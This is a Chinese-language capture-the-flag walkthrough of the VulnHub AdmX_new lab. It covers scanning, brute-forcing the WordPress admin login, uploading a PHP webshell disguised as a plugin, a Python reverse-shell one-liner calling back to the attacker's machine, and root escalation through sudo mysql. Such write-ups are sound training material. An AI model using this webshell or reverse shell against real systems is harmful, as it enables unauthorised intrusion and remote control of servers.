Admx_new
靶机下载地址:https://download.vulnhub.com/admx/AdmX_new.7z
1.主机发现
-
利用arp协议探测主机ip
arp-scan -l
确认靶机地址为142,攻击机(kali)地址为180
2.信息收集
-
端口发现
-
扫描开放的端口号
nmap -p- 192.168.192.142
-
对端口开放的服务进行探测
nmap -p80 -sV 192.168.192.142
-
使用浏览器访问
-
-
网站的路径探测
-
扫描路径
dirsearch -u http://192.168.192.142/
feroxbuster -u http://192.168.192.142
-
-
访问
/wordpress
,发现页面显示不正常。打开F12查看请求,发现请求失败的URL都指向了一个192.168.159.145的站点
-
为了让页面正常展示,我们使用burp中proxy里的匹配和替换功能(Match And Replace),并将截断功能放开,重新访问/wordpress页面即可
-
当我们在此页面进行各种尝试后,发现无可利用漏洞,重新看feroxbuster爆破出来的路径,发现一个后台登陆的站点/wordpress/wp-admin/admin.php。并根据网站的设计缺陷,发现存在admin的用户
-
对admin用户尝试密码爆破
-
利用burp爆破出的密码adam14成功登陆后台
3.漏洞利用
-
在WordPress中常用的三种方式上传webshell
- 第一种方法:通过Media的Add NEW接口,直接上传php的webshell。此版本无法实现
- 第二种方法:修改主题,嵌入代码,一般在404.php文件中添加shell代码。此版本无法实现
- 第三种方法:使用plugins功能安装一个我们编写的插件。在这里我新建了一个a.php的文件,并且压缩成zip格式,上传至plugins处进行安装,并点击activa plugin进行激活插件
<?php /** * Plugin Name: superwebshll * Plugin URI: https://webshell.com/ * Description: This is webshell,thank u * Version: 1.0 * Author: Automattic * Author URI: https://automattic.com/wordpress-plugins/ * License: GPLv2 or later * Text Domain: akismet */ if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>
- 访问/wordpress/wp-content/plugins/1.php?cmd=id,发现可以得到了id:www-data
- 第一种方法:通过Media的Add NEW接口,直接上传php的webshell。此版本无法实现
-
通过/wordpress/wp-content/plugins/webshell.php?cmd=which python3发现系统存在python环境
-
反弹shell
-
在kali开启监听端口
nc -nvlp 8888
-
使用python3进行反弹shell,反弹成功
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.192.180",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
-
4.权限提升
-
在home目录下发现存在一个wpadmin用户
ls /home/wpadmin
-
在目录下还存放一个local.txt的文档,并且只有wpadmin用户本身才具备读权限
ls -lh
-
利用BP爆破处理啊的登录密码切换账户,居然成功了。查看local.txt文件,过的第一个flag
-
还需要获取root权限,通过sudo -l发现该用户执行数据库时不需要密码,就能得到root权限
-
因为WordPress的目录下有个config.php文件,所以数据库密码应该在里面,访问/var/www/html/wordpress/wp-config.php文件查看数据库配置信息
DB_NAME:wordpress DB_USER:admin DB_PASSWORD:Wp_Admin#123
-
使用wpadmin用户,密码Wp_Admin#123进入数据库,并发现可以执行system命令
sudo /usr/bin/mysql -u root -D wordpress -p
-
执行system bash,查看proof.txt得到第二个flag